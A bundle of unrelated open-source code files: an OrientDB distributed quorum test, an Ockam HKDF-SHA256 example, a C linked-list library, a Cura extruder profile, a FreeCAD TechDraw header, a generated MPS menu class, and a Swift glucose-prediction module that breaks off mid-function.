fail(e.getMessage()); } finally { if (dbServer3 != null) { dbServer3.activateOnCurrentThread(); dbServer3.close(); ODatabaseRecordThreadLocal.instance().set(null); orientDB.close(); } } return null; } } private class TestQuorum3 implements Callable<Void> { private final String databaseUrl1; private final String databaseUrl2; private List<ServerRun> serverInstances; private List<ServerRun> executeWritesOnServers; private int initialCount = 0; public TestQuorum3(List<ServerRun> serverInstances) { this.serverInstances = serverInstances; this.executeWritesOnServers = new LinkedList<ServerRun>(); this.executeWritesOnServers.addAll(this.serverInstances); this.databaseUrl1 = getPlocalDatabaseURL(serverInstances.get(0)); this.databaseUrl2 = getPlocalDatabaseURL(serverInstances.get(1)); } @Override public Void call() throws Exception { List<ODocument> result = null; OrientDB orientDB = serverInstances.get(0).getServerInstance().getContext(); final ODatabaseDocument dbServer1 = orientDB.open(getDatabaseName(), "admin", "admin"); try { /* * Test with quorum = 3 */ banner("Test with quorum = 3"); // deleting all OCommandSQL sqlCommand = new OCommandSQL("delete from Person"); dbServer1.command(sqlCommand).execute(); result = dbServer1.query(new OSQLSynchQuery<OIdentifiable>("select from Person")); assertEquals(0, result.size()); this.initialCount = 0; // changing configuration System.out.print("\nChanging quorum..."); ODocument cfg = null; ServerRun server = serverInstance.get(0); System.out.println("\nConfiguration updated."); // network fault on server3 System.out.println("Network fault on server3.\n"); simulateServerFault(this.serverInstances.get(SERVERS - 1), "net-fault"); assertFalse(serverInstance.get(2).isActive()); // single write System.out.print("Insert operation in the database..."); dbServer1.activateOnCurrentThread(); try { new ODocument("Person").fields("id", "L-001", "name", "John", "surname", "Black").save(); fail("Error: record inserted with 2 server running and writeWuorum=3."); } catch (Exception e) { e.printStackTrace(); assertTrue( "Record not inserted because there are 2 servers running and writeQuorum=3.", true); } System.out.println("Done.\n"); System.out.print( "Checking the last record wasn't inserted in the db because the quorum was not reached..."); result = dbServer1.query( new OSQLSynchQuery<OIdentifiable>("select from Person where id='L-001'")); assertEquals(0, result.size()); OrientDB orientDB1 = serverInstances.get(1).getServerInstance().getContext(); final ODatabaseDocument dbServer2 = orientDB1.open(getDatabaseName(), "admin", "admin"); dbServer2.activateOnCurrentThread(); result = dbServer2.query( new OSQLSynchQuery<OIdentifiable>("select from Person where id='L-001'")); assertEquals(0, result.size()); System.out.println("Done.\n"); ODatabaseRecordThreadLocal.instance().set(null); // restarting server3 serverInstance .get(2) .startServer(getDistributedServerConfiguration(serverInstance.get(SERVERS - 1))); System.out.println("Server 3 restarted."); assertTrue(serverInstance.get(2).isActive()); // writes on server1, server2 and server3 executeMultipleWrites(this.executeWritesOnServers, "plocal"); // check consistency dbServer1.activateOnCurrentThread(); dbServer1.getMetadata().getSchema().reload(); result = dbServer1.query(new OSQLSynchQuery<OIdentifiable>("select from Person")); assertEquals(1500, result.size()); checkWritesAboveCluster(serverInstance, executeWritesOnServers); ODatabaseRecordThreadLocal.instance().set(null); } catch (Exception e) { e.printStackTrace(); fail(e.getMessage()); } finally { if (dbServer1 != null) { dbServer1.activateOnCurrentThread(); dbServer1.close(); ODatabaseRecordThreadLocal.instance().set(null); } } return null; } } @Override public String getDatabaseName() { return "distributed-node-restart"; } }
{ "pile_set_name": "Github" }
/** * @file main.c * @brief Example main file for Vault HKDF-SHA256 */ #include "ockam/error.h" #include "ockam/memory.h" #include "ockam/memory/stdlib.h" #include "ockam/random.h" #include "ockam/random/urandom.h" #include "ockam/vault.h" #include "ockam/vault/default.h" #include <stdio.h> #include <string.h> #define EXAMPLE_VAULT_HKDF_IKM_LENGTH 32u #define EXAMPLE_VAULT_HKDF_SALT_LENGTH 28u uint8_t g_hkdf_ikm[] = { 0x37, 0xe0, 0xe7, 0xda, 0xac, 0xbd, 0x6b, 0xfb, 0xf6, 0x69, 0xa8, 0x46, 0x19, 0x6f, 0xd4, 0x4d, 0x1c, 0x87, 0x45, 0xd3, 0x3f, 0x2b, 0xe4, 0x2e, 0x31, 0xd4, 0x67, 0x41, 0x99, 0xad, 0x00, 0x5e }; uint8_t g_hkdf_salt[] = { 0x4e, 0x6f, 0x69, 0x73, 0x65, 0x5f, 0x58, 0x58, 0x5f, 0x32, 0x35, 0x35, 0x31, 0x39, 0x5f, 0x41, 0x45, 0x53, 0x47, 0x43, 0x4d, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36 }; /* * This example shows how to generate derived outputs with HKDF-SHA256. * * It demonstrates how to use the default software implementation * of the Ockam vault interface (defined in `ockam/vault.h`) for * HMAC-based Derived Key Function using SHA-256 (HKDF-SHA256). * * The HKDF operation used in this example is `HKDF-SHA256`, which is * defined in [RFC 5869](https://tools.ietf.org/html/rfc5869). */ int main(void) { int exit_code = 0; /* * The actions taken below are are covered in the initialization example. For further detail on these * actions refer to that example. */ ockam_error_t error = OCKAM_ERROR_NONE; ockam_error_t deinit_error = OCKAM_ERROR_NONE; ockam_memory_t memory = { 0 }; ockam_random_t random = { 0 }; ockam_vault_t vault = { 0 }; ockam_vault_default_attributes_t vault_attributes = { .memory = &memory, .random = &random }; error = ockam_memory_stdlib_init(&memory); if (error != OCKAM_ERROR_NONE) { goto exit; } error = ockam_random_urandom_init(&random); if (error != OCKAM_ERROR_NONE) { goto exit; } error = ockam_vault_default_init(&vault, &vault_attributes); if (error != OCKAM_ERROR_NONE) { goto exit; } /* * The HKDF-SHA256 operation requires a salt secret, and while not required, typically also takes * in an input key material secret. Since HKDF-SHA256 needs this data as secrets, the data must be * loaded into a secret before the HKDF-SHA256 operation can be called. The example code below * shows loading salt and input key material data into two secret types. */ ockam_vault_secret_t salt = { 0 }; ockam_vault_secret_t input_key_material = { 0 }; ockam_vault_secret_attributes_t attributes = { 0 }; attributes.type = OCKAM_VAULT_SECRET_TYPE_BUFFER; attributes.purpose = OCKAM_VAULT_SECRET_PURPOSE_KEY_AGREEMENT; attributes.persistence = OCKAM_VAULT_SECRET_EPHEMERAL; attributes.length = EXAMPLE_VAULT_HKDF_IKM_LENGTH; error = ockam_vault_secret_import(&vault, &input_key_material, &attributes, &g_hkdf_ikm[0], EXAMPLE_VAULT_HKDF_IKM_LENGTH); if (error != OCKAM_ERROR_NONE) { goto exit; } attributes.length = EXAMPLE_VAULT_HKDF_SALT_LENGTH; error = ockam_vault_secret_import(&vault, &salt, &attributes, &g_hkdf_salt[0], EXAMPLE_VAULT_HKDF_SALT_LENGTH); if (error != OCKAM_ERROR_NONE) { goto exit; } /* * Once the salt and input key material secrets are loaded, the HKDF-SHA256 function can be called. * The output of the function is an array of 32-byte derived outputs stored in secret types. The * number of derived outputs depends on the number specified in the HKDF-SHA256 call. Typically the * number of derived outputs will be 2 or 3. */ ockam_vault_secret_t derived_outputs[2]; error = ockam_vault_hkdf_sha256(&vault, &salt, &input_key_material, 2, &derived_outputs[0]); if (error != OCKAM_ERROR_NONE) { goto exit; } size_t derived_output_length = 0; uint8_t derived_output_data_0[OCKAM_VAULT_SHA256_DIGEST_LENGTH] = { 0 }; uint8_t derived_output_data_1[OCKAM_VAULT_SHA256_DIGEST_LENGTH] = { 0 }; error = ockam_vault_secret_export(&vault, &derived_outputs[0], &derived_output_data_0[0], OCKAM_VAULT_SHA256_DIGEST_LENGTH, &derived_output_length); if (error != OCKAM_ERROR_NONE) { goto exit; } if (derived_output_length != OCKAM_VAULT_SHA256_DIGEST_LENGTH) { goto exit; } error = ockam_vault_secret_export(&vault, &derived_outputs[1], &derived_output_data_1[0], OCKAM_VAULT_SHA256_DIGEST_LENGTH, &derived_output_length); if (error != OCKAM_ERROR_NONE) { goto exit; } if (derived_output_length != OCKAM_VAULT_SHA256_DIGEST_LENGTH) { goto exit; } int i; printf("Derived Output 0: "); for (i = 0; i < OCKAM_VAULT_SHA256_DIGEST_LENGTH; i++) { printf("%02x", derived_output_data_0[i]); } printf("\n"); printf("Derived Output 1: "); for (i = 0; i < OCKAM_VAULT_SHA256_DIGEST_LENGTH; i++) { printf("%02x", derived_output_data_1[i]); } printf("\n"); exit: /* Destroy the secrets to free the associated resources */ ockam_vault_secret_destroy(&vault, &salt); ockam_vault_secret_destroy(&vault, &input_key_material); ockam_vault_secret_destroy(&vault, &derived_outputs[0]); ockam_vault_secret_destroy(&vault, &derived_outputs[1]); /* Deinitialize to free resources associated with this handle. Save the vault deinit error status.*/ deinit_error = ockam_vault_deinit(&vault); ockam_random_deinit(&random); ockam_memory_deinit(&memory); if (error == OCKAM_ERROR_NONE) { error = deinit_error; } if (error != OCKAM_ERROR_NONE) { exit_code = -1; } return exit_code; }
{ "pile_set_name": "Github" }
/* * $Id: ll.c 1484 2007-01-17 01:06:16Z rpedde $ * Rock stupid char* indexed linked lists * * Copyright (C) 2006 Ron Pedde ([email protected]) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "daapd.h" #include "ll.h" #include "err.h" /** Internal functions */ int _ll_add_item(LL *pl, char *key, void *vpval, int ival, int type); int _ll_update_item(LL_ITEM *pli, void *vpval, int ival, int type); void _ll_dump(LL *pl, int depth); /** * create a ll * * @param ppl pointer to a LL *. Returns valid handle on LL_E_SUCCESS * @returns LL_E_SUCCESS on success, error code otherwise */ int ll_create(LL **ppl) { *ppl = (LL *)malloc(sizeof(struct _LL)); if(!*ppl) return LL_E_MALLOC; memset(*ppl,0x0,sizeof(struct _LL)); /* set default flags */ (*ppl)->flags = LL_FLAG_NODUPS | LL_FLAG_INHERIT; return LL_E_SUCCESS; } /** * destroy a ll, recusively, if neccesary * * @param pl ll to destroy * @returns LL_E_SUCCESS */ int ll_destroy(LL *pl) { LL_ITEM *current,*last; last = &(pl->itemlist); current = pl->itemlist.next; while(current) { switch(current->type) { case LL_TYPE_LL: ll_destroy(current->value.as_ll); break; case LL_TYPE_STRING: free(current->value.as_string); break; default: break; } free(current->key); last = current; current = current->next; free(last); } free(pl); return LL_E_SUCCESS; } /** * thin wrapper for _ll_add_item */ int ll_add_string(LL *pl, char *key, char *cval) { return _ll_add_item(pl,key,cval,0,LL_TYPE_STRING); } /** * thin wrapper for _ll_add_item */ int ll_add_int(LL *pl, char *key, int ival) { return _ll_add_item(pl,key,NULL,ival,LL_TYPE_INT); } /** * thin wrapper for _ll_add_item */ int ll_add_ll(LL *pl, char *key, LL *pnew) { int result; result = _ll_add_item(pl,key,(void*)pnew,0,LL_TYPE_LL); if(result == LL_E_SUCCESS) { if(pl->flags & LL_FLAG_INHERIT) { pnew->flags = pl->flags; } } return result; } int ll_del_item(LL *pl, char *key) { LL_ITEM *phead, *ptail; ptail = &pl->itemlist; phead = pl->itemlist.next; while(phead) { if((pl->flags & LL_FLAG_HONORCASE) && (strcmp(phead->key,key)==0)) break; if((!(pl->flags & LL_FLAG_HONORCASE) && (strcasecmp(phead->key,key)==0))) break; ptail=phead; phead=phead->next; } if(phead) { /* found the item... */ if(pl->tailptr == phead) pl->tailptr = ptail; ptail->next = phead->next; } else { /* no matching item */ return LL_E_NOKEY; } return LL_E_SUCCESS; } /** * add an item to a ll */ int _ll_add_item(LL *pl, char *key, void* vpval, int ival, int type) { LL_ITEM *pli; if(!key) { DPRINTF(E_LOG,L_MISC,"_ll_add_item: passed null key\n"); return LL_E_BADPARAM; } if(pl->flags & LL_FLAG_NODUPS) { if(ll_fetch_item(pl,key)) return LL_E_DUP; } pli=(LL_ITEM *)malloc(sizeof(LL_ITEM)); if(!pli) { return LL_E_MALLOC; } pli->type = type; pli->key = strdup(key); switch(type) { case LL_TYPE_INT: pli->value.as_int = ival; break; case LL_TYPE_LL: pli->value.as_ll = (LL *)vpval; break; case LL_TYPE_STRING: if(!vpval) { DPRINTF(E_LOG,L_MISC,"_ll_add_item: passed null value\n"); free(pli); return LL_E_BADPARAM; } pli->value.as_string = strdup((char*)vpval); break; default: break; } if(pl->flags & LL_FLAG_HEADINSERT) { pli->next = pl->itemlist.next; pl->itemlist.next = pli; } else { pli->next = NULL; if(pl->tailptr) { pl->tailptr->next = pli; } else { pl->itemlist.next = pli; } pl->tailptr = pli; } return LL_E_SUCCESS; } /** * thin wrapper for _ll_update_item */ int ll_update_string(LL_ITEM *pli, char *cval) { return _ll_update_item(pli,cval,0,LL_TYPE_STRING); } /** * thin wrapper for _ll_update_item */ int ll_update_int(LL_ITEM *pli, int ival) { return _ll_update_item(pli,NULL,ival,LL_TYPE_INT); } /** * thin wrapper for _ll_update_item. * * NOTE: There is a reasonable case to be made about * what should happen to flags on an update. We'll just * leave that to the caller, though. */ int ll_update_ll(LL_ITEM *pli, LL *pnew) { int result; result = _ll_update_item(pli,(void*)pnew,0,LL_TYPE_LL); return result; } /** * update an item, given an item pointer */ int _ll_update_item(LL_ITEM *pli, void* vpval, int ival, int type) { /* dispose of what used to be there*/ switch(pli->type) { case LL_TYPE_LL: ll_destroy(pli->value.as_ll); break; case LL_TYPE_STRING: free(pli->value.as_string); break; case LL_TYPE_INT: /* fallthrough */ default: break; } pli->type = type; switch(pli->type) { case LL_TYPE_INT: pli->value.as_int = ival; break; case LL_TYPE_LL: pli->value.as_ll = (LL *)vpval; break; case LL_TYPE_STRING: pli->value.as_string = strdup((char*)vpval); break; default: break; } return LL_E_SUCCESS; } /** * internal function to get the ll item associated with * a specific key, using the case sensitivity specified * by the ll flags. This assumes that the lock is held! * * @param pl ll to fetch item from * @param key key name to fetch * @returns pointer to llitem, or null if not found */ LL_ITEM *ll_fetch_item(LL *pl, char *key) { LL_ITEM *current; if(!pl) return NULL; current = pl->itemlist.next; while(current) { if(pl->flags & LL_FLAG_HONORCASE) { if(!strcmp(current->key,key)) return current; } else { if(!strcasecmp(current->key,key)) return current; } current = current->next; } return current; } /** * set flags * * @param pl ll to set flags for * @returns LL_E_SUCCESS */ int ll_set_flags(LL *pl, unsigned int flags) { pl->flags = flags; return LL_E_SUCCESS; } /** * get flags * * @param pl ll to get flags from * @returns LL_E_SUCCESS */ int ll_get_flags(LL *pl, unsigned int *flags) { *flags = pl->flags; return LL_E_SUCCESS; } /** * Dump a linked list * * @parm pl linked list to dump */ void ll_dump(LL *pl) { _ll_dump(pl,0); } /** * Internal support function for dumping linked list that * carries depth. * * @param pl linked list to dump * @param depth depth of list */ void _ll_dump(LL *pl, int depth) { LL_ITEM *pli; pli = pl->itemlist.next; while(pli) { switch(pli->type) { case LL_TYPE_INT: printf("%*s%s (int): %d\n",depth*2,"",pli->key,pli->value.as_int); break; case LL_TYPE_STRING: printf("%*s%s (string): %s\n",depth*2,"",pli->key,pli->value.as_string); break; case LL_TYPE_LL: printf("%*s%s (list)\n",depth*2,"",pli->key); _ll_dump(pli->value.as_ll,depth+1); break; } pli = pli->next; } } /** * Given an item (or NULL for first item), fetch * the next item * * @param pl ll to fetch from * @param prev last item we fetched */ LL_ITEM *ll_get_next(LL *pl, LL_ITEM *prev) { if(!pl) return NULL; if(!prev) return pl->itemlist.next; return prev->next; }
{ "pile_set_name": "Github" }
{ "version": 2, "name": "Right Extruder", "inherits": "fdmextruder", "metadata": { "machine": "felixpro2dual", "position": "1" }, "overrides": { "extruder_nr": { "default_value": 1, "maximum_value": "2" }, "machine_nozzle_offset_x": { "default_value": 0 }, "machine_nozzle_offset_y": { "default_value": 0 }, "machine_nozzle_size": { "default_value": 0.35 }, "material_diameter": { "default_value": 1.75 }, "machine_extruder_start_pos_abs": { "default_value": true }, "machine_extruder_start_pos_x": { "value": "prime_tower_position_x" }, "machine_extruder_start_pos_y": { "value": "prime_tower_position_y" }, "machine_extruder_end_pos_abs": { "default_value": true }, "machine_extruder_end_pos_x": { "value": "prime_tower_position_x" }, "machine_extruder_end_pos_y": { "value": "prime_tower_position_y" } } }
{ "pile_set_name": "Github" }
/*************************************************************************** * Copyright (c) 2019 WandererFan <[email protected]> * * * * This file is part of the FreeCAD CAx development system. * * * * This library is free software; you can redistribute it and/or * * modify it under the terms of the GNU Library General Public * * License as published by the Free Software Foundation; either * * version 2 of the License, or (at your option) any later version. * * * * This library is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU Library General Public License for more details. * * * * You should have received a copy of the GNU Library General Public * * License along with this library; see the file COPYING.LIB. If not, * * write to the Free Software Foundation, Inc., 59 Temple Place, * * Suite 330, Boston, MA 02111-1307, USA * * * ***************************************************************************/ #ifndef DRAWINGGUI_QGRAPHICSITEMLEADERLINE_H #define DRAWINGGUI_QGRAPHICSITEMLEADERLINE_H #include <QObject> #include <QGraphicsView> #include <QStyleOptionGraphicsItem> #include <QGraphicsItem> #include <QGraphicsObject> #include <QPainterPath> #include <QColor> #include <QFont> #include <QPointF> #include <Base/Vector3D.h> #include "QGIView.h" namespace TechDraw { class DrawLeaderLine; class DrawView; } namespace TechDrawGui { class QGIPrimPath; class QGIArrow; class QGEPath; //******************************************************************* class TechDrawGuiExport QGILeaderLine : public QGIView { Q_OBJECT public: enum {Type = QGraphicsItem::UserType + 232}; explicit QGILeaderLine(); ~QGILeaderLine() = default; int type() const override { return Type;} virtual void paint( QPainter * painter, const QStyleOptionGraphicsItem * option, QWidget * widget = 0 ) override; virtual QRectF boundingRect() const override; virtual QPainterPath shape(void) const override; virtual void drawBorder() override; virtual void updateView(bool update = false) override; virtual TechDraw::DrawLeaderLine* getFeature(void); void startPathEdit(void); void setArrows(std::vector<QPointF> pathPoints); void abandonEdit(void); void closeEdit(void); double getLineWidth(void); double getEdgeFuzz(void) const; virtual void mousePressEvent(QGraphicsSceneMouseEvent * event) override; //void mouseMoveEvent(QGraphicsSceneMouseEvent * event) override; virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent * event) override; virtual void hoverEnterEvent(QGraphicsSceneHoverEvent *event) override; virtual void hoverLeaveEvent(QGraphicsSceneHoverEvent *event) override; void setPrettyNormal(); void setPrettyPre(); void setPrettySel(); void setLeaderFeature(TechDraw::DrawLeaderLine* feat); public Q_SLOTS: void onLineEditFinished(QPointF attach, std::vector<QPointF> deltas); //QGEPath is finished editing points virtual void onSourceChange(TechDraw::DrawView* newParent) override; Q_SIGNALS: void editComplete(void); //tell caller that edit session is finished protected: virtual void draw() override; QPainterPath makeLeaderPath(std::vector<QPointF> qPoints); std::vector<QPointF> getWayPointsFromFeature(void); QPointF getAttachFromFeature(void); virtual QVariant itemChange( GraphicsItemChange change, const QVariant &value ) override; std::vector<QPointF> m_pathPoints; void saveState(void); void restoreState(void); protected: QColor getNormalColor() override; void setNormalColorAll(); QGraphicsItem* m_parentItem; QGIPrimPath* m_line; //actual leader line double m_lineWidth; QColor m_lineColor; Qt::PenStyle m_lineStyle; QGIArrow* m_arrow1; QGIArrow* m_arrow2; QGEPath* m_editPath; //line editor QColor m_editPathColor; Qt::PenStyle m_editPathStyle; bool m_hasHover; double m_saveX; double m_saveY; std::vector<Base::Vector3d> m_savePoints; bool m_blockDraw; //prevent redraws while updating. }; } #endif // DRAWINGGUI_QGRAPHICSITEMLEADERLINE_H
{ "pile_set_name": "Github" }
package jetbrains.mps.lang.editor.menus.substitute.testLanguage.editor; /*Generated by MPS */ import jetbrains.mps.nodeEditor.menus.transformation.TransformationMenuBase; import java.util.Set; import jetbrains.mps.internal.collections.runtime.SetSequence; import java.util.HashSet; import jetbrains.mps.lang.editor.menus.transformation.MenuLocations; import org.jetbrains.annotations.NotNull; import java.util.List; import jetbrains.mps.openapi.editor.menus.transformation.TransformationMenuItem; import jetbrains.mps.openapi.editor.menus.transformation.TransformationMenuContext; import jetbrains.mps.lang.editor.menus.EditorMenuDescriptorBase; import jetbrains.mps.smodel.SNodePointer; import jetbrains.mps.lang.editor.menus.MenuPart; import java.util.ArrayList; import jetbrains.mps.internal.collections.runtime.ListSequence; import jetbrains.mps.lang.editor.menus.SingleItemMenuPart; import org.jetbrains.annotations.Nullable; import org.apache.log4j.Logger; import jetbrains.mps.openapi.editor.menus.transformation.ActionItemBase; import jetbrains.mps.nodeEditor.cellMenu.SubstituteCompletionActionItem; import jetbrains.mps.openapi.editor.menus.EditorMenuTraceInfo; import jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations; import jetbrains.mps.openapi.editor.menus.style.EditorMenuItemStyle; import jetbrains.mps.editor.runtime.menus.EditorMenuItemModifyingCustomizationContext; import org.jetbrains.mps.openapi.language.SAbstractConcept; import jetbrains.mps.editor.runtime.menus.EditorMenuItemCompositeCustomizationContext; import jetbrains.mps.editor.runtime.completion.CompletionMenuItemCustomizationContext; import jetbrains.mps.editor.runtime.completion.CompletionItemInformation; import jetbrains.mps.openapi.editor.menus.style.EditorMenuItemCustomizer; import jetbrains.mps.internal.collections.runtime.CollectionSequence; import org.jetbrains.mps.openapi.language.SProperty; import jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory; public class TestSubstituteParentPropertyAndReference_CustomReferenceMenu extends TransformationMenuBase { private final Set<String> myLocations = SetSequence.fromSetAndArray(new HashSet<String>(), MenuLocations.SUBSTITUTE); @Override public boolean isApplicableToLocation(@NotNull String location) { return SetSequence.fromSet(myLocations).contains(location); } @NotNull @Override public List<TransformationMenuItem> createMenuItems(@NotNull TransformationMenuContext context) { context.getEditorMenuTrace().pushTraceInfo(); context.getEditorMenuTrace().setDescriptor(new EditorMenuDescriptorBase("named transformation menu " + "TestSubstituteParentPropertyAndReference_CustomReferenceMenu", new SNodePointer("r:d793eea9-8b7b-4c58-a7a2-62336f54dcce(jetbrains.mps.lang.editor.menus.substitute.testLanguage.editor)", "8135300941718541233"))); try { return super.createMenuItems(context); } finally { context.getEditorMenuTrace().popTraceInfo(); } } @Override @NotNull protected List<MenuPart<TransformationMenuItem, TransformationMenuContext>> getParts(TransformationMenuContext _context) { List<MenuPart<TransformationMenuItem, TransformationMenuContext>> result = new ArrayList<MenuPart<TransformationMenuItem, TransformationMenuContext>>(); if (ListSequence.fromListAndArray(new ArrayList<String>(), MenuLocations.SUBSTITUTE).contains(_context.getMenuLocation())) { result.add(new TMP_Action_jhs4e4_a0()); } return result; } private class TMP_Action_jhs4e4_a0 extends SingleItemMenuPart<TransformationMenuItem, TransformationMenuContext> { @Nullable protected TransformationMenuItem createItem(TransformationMenuContext context) { Item item = new Item(context); String description; try { description = "single item: " + item.getLabelText(""); } catch (Throwable t) { Logger.getLogger(getClass()).error("Exception while executing getText of the item " + item, t); return null; } context.getEditorMenuTrace().pushTraceInfo(); try { context.getEditorMenuTrace().setDescriptor(new EditorMenuDescriptorBase(description, new SNodePointer("r:d793eea9-8b7b-4c58-a7a2-62336f54dcce(jetbrains.mps.lang.editor.menus.substitute.testLanguage.editor)", "8135300941718557820"))); item.setTraceInfo(context.getEditorMenuTrace().getTraceInfo()); } finally { context.getEditorMenuTrace().popTraceInfo(); } return item; } private class Item extends ActionItemBase implements SubstituteCompletionActionItem { private final TransformationMenuContext _context; private EditorMenuTraceInfo myEditorMenuTraceInfo; private Item(TransformationMenuContext context) { _context = context; } private void setTraceInfo(EditorMenuTraceInfo info) { myEditorMenuTraceInfo = info; } @Nullable @Override public String getLabelText(String pattern) { return "custom reference action"; } @Override public void execute(@NotNull String pattern) { SPropertyOperations.assign(_context.getNode(), PROPS.name$MnvL, "custom action executed"); } @Override public EditorMenuTraceInfo getTraceInfo() { return myEditorMenuTraceInfo; } public void customize(String pattern, EditorMenuItemStyle style) { EditorMenuItemModifyingCustomizationContext modifyingContext = new EditorMenuItemModifyingCustomizationContext(_context.getNode(), null, null, null); SAbstractConcept outputConcept = null; EditorMenuItemCompositeCustomizationContext compositeContext = new EditorMenuItemCompositeCustomizationContext(modifyingContext, new CompletionMenuItemCustomizationContext(new CompletionItemInformation(null, outputConcept, getLabelText(pattern), getShortDescriptionText(pattern)))); for (EditorMenuItemCustomizer customizer : CollectionSequence.fromCollection(_context.getCustomizers())) { customizer.customize(style, compositeContext); } } } } private static final class PROPS { /*package*/ static final SProperty name$MnvL = MetaAdapterFactory.getProperty(0xceab519525ea4f22L, 0x9b92103b95ca8c0cL, 0x110396eaaa4L, 0x110396ec041L, "name"); } }
{ "pile_set_name": "Github" }
// // LoopMath.swift // Naterade // // Created by Nathan Racklyeft on 1/24/16. // Copyright © 2016 Nathan Racklyeft. All rights reserved. // import Foundation import HealthKit public enum LoopMath { static func simulationDateRangeForSamples<T: Collection>( _ samples: T, from start: Date? = nil, to end: Date? = nil, duration: TimeInterval, delay: TimeInterval = 0, delta: TimeInterval ) -> (start: Date, end: Date)? where T.Element: TimelineValue { guard samples.count > 0 else { return nil } if let start = start, let end = end { return (start: start.dateFlooredToTimeInterval(delta), end: end.dateCeiledToTimeInterval(delta)) } else { var minDate = samples.first!.startDate var maxDate = minDate for sample in samples { if sample.startDate < minDate { minDate = sample.startDate } if sample.endDate > maxDate { maxDate = sample.endDate } } return ( start: (start ?? minDate).dateFlooredToTimeInterval(delta), end: (end ?? maxDate.addingTimeInterval(duration + delay)).dateCeiledToTimeInterval(delta) ) } } /** Calculates a timeline of predicted glucose values from a variety of effects timelines. Each effect timeline: - Is given equal weight, with the exception of the momentum effect timeline - Can be of arbitrary size and start date - Should be in ascending order - Should have aligning dates with any overlapping timelines to ensure a smooth result - parameter startingGlucose: The starting glucose value - parameter momentum: The momentum effect timeline determined from prior glucose values - parameter effects: The glucose effect timelines to apply to the prediction. - returns: A timeline of glucose values */ public static func predictGlucose(startingAt startingGlucose: GlucoseValue, momentum: [GlucoseEffect] = [], effects: [GlucoseEffect]...) -> [PredictedGlucoseValue] { return predictGlucose(startingAt: startingGlucose, momentum: momentum, effects: effects) } /** Calculates a timeline of predicted glucose values from a variety of effects timelines. Each effect timeline: - Is given equal weight, with the exception of the momentum effect timeline - Can be of arbitrary size and start date - Should be in ascending order - Should have aligning dates with any overlapping timelines to ensure a smooth result - parameter startingGlucose: The starting glucose value - parameter momentum: The momentum effect timeline determined from prior glucose values - parameter effects: The glucose effect timelines to apply to the prediction. - returns: A timeline of glucose values */ public static func predictGlucose(startingAt startingGlucose: GlucoseValue, momentum: [GlucoseEffect] = [], effects: [[GlucoseEffect]]) -> [PredictedGlucoseValue] { var effectValuesAtDate: [Date: Double] = [:] let unit = HKUnit.milligramsPerDeciliter for timeline in effects { var previousEffectValue: Double = timeline.first?.quantity.doubleValue(for: unit) ?? 0 for effect in timeline { let value = effect.quantity.doubleValue(for: unit) effectValuesAtDate[effect.startDate] = (effectValuesAtDate[effect.startDate] ?? 0) + value - previousEffectValue previousEffectValue = value } } // Blend the momentum effect linearly into the summed effect list if momentum.count > 1 { var previousEffectValue: Double = momentum[0].quantity.doubleValue(for: unit) // The blend begins delta minutes after after the last glucose (1.0) and ends at the last momentum point (0.0) // We're assuming the first one occurs on or before the starting glucose. let blendCount = momentum.count - 2 let timeDelta = momentum[1].startDate.timeIntervalSince(momentum[0].startDate) // The difference between the first momentum value and the starting glucose value let momentumOffset = startingGlucose.startDate.timeIntervalSince(momentum[0].startDate) let blendSlope = 1.0 / Double(blendCount) let blendOffset = momentumOffset / timeDelta * blendSlope for (index, effect) in momentum.enumerated() { let value = effect.quantity.doubleValue(for: unit) let effectValueChange = value - previousEffectValue let split = min(1.0, max(0.0, Double(momentum.count - index) / Double(blendCount) - blendSlope + blendOffset)) let effectBlend = (1.0 - split) * (effectValuesAtDate[effect.startDate] ?? 0) let momentumBlend = split * effectValueChange effectValuesAtDate[effect.startDate] = effectBlend + momentumBlend previousEffectValue = value } } let prediction = effectValuesAtDate.sorted { $0.0 < $1.0 }.reduce([PredictedGlucoseValue(startDate: startingGlucose.startDate, quantity: startingGlucose.quantity)]) { (prediction, effect) -> [PredictedGlucoseValue] in if effect.0 > startingGlucose.startDate, let lastValue = prediction.last { let nextValue = PredictedGlucoseValue( startDate: effect.0, quantity: HKQuantity(unit: unit, doubleValue: effect.1 + lastValue.quantity.doubleValue(for: unit)) ) return prediction + [nextValue] } else { return prediction } } return prediction } } extension GlucoseValue { /** Calculates a timeline of glucose effects by applying a linear decay to a rate of change. - parameter rate: The glucose velocity - parameter duration: The duration the effect should continue before ending - parameter delta: The time differential for the returned values - returns: An array of glucose effects */ public func decayEffect(atRate rate: HKQuantity, for duration: TimeInterval, withDelta delta: TimeInterval = 5 * 60) -> [GlucoseEffect] { guard let (startDate, endDate) = LoopMath.simulationDateRangeForSamples([self], duration: duration, delta: delta) else { return [] } let glucoseUnit = HKUnit.milligramsPerDeciliter let velocityUnit = GlucoseEffectVelocity.perSecondUnit // The starting rate, which we will decay to 0 over the specified duration let intercept = rate.doubleValue(for: velocityUnit) // mg/dL/s let decayStartDate = startDate.addingTimeInterval(delta) let slope = -intercept / (duration - delta) // mg/dL/s/s var values = [GlucoseEffect(startDate: startDate, quantity: quantity)] var date = decayStartDate var lastValue = quantity.doubleValue(for: glucoseUnit) repeat { let value = lastValue + (intercept + slope * date.timeIntervalSince(decayStartDate)) * delta values.append(GlucoseEffect(startDate: date, quantity: HKQuantity(unit: glucoseUnit, doubleValue: value))) lastValue = value date = date.addingTimeInterval(delta) } while date < endDate return values } } extension BidirectionalCollection where Element == GlucoseEffect { /// Sums adjacent glucose effects into buckets of the specified duration. /// /// Requires the receiver to be sorted chronologically by endDate /// /// - Parameter duration: The duration of each resulting summed element /// - Returns: An array of summed effects public func combinedSums(of duration: TimeInterval) -> [GlucoseChange] { var sums = [GlucoseChange]() 